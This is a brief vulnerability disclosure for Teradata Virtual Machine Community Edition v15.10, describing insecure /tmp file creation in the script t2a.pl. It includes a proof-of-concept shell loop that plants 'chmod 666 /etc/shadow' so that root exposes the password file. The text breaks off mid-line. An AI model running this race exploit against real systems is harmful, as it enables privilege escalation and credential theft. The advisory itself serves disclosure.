Vulnerability: Teradata Virtual Machine Community Edition v15.10 Insecure creation of files in /tmp may lead to elevated code execution. In /opt/teradata/gsctools/bin/t2a.pl 320 `chmod +x /tmp/$PROG.get_profile.scr ; /tmp/$PROG.get_profile.scr >/dev/null 2>&1` ; If a regular user controls /tmp/t2a.pl.get_profile.scr before the person executing this script creates it they can inject commands to be executed as that user. for example: $ while(true) do echo "chmod 666 /etc/shadow" > /tmp/t2a.pl.get_profile.scr; done If root or any other account runs that .pl script I see these files being created in /tmp [C] -rw-
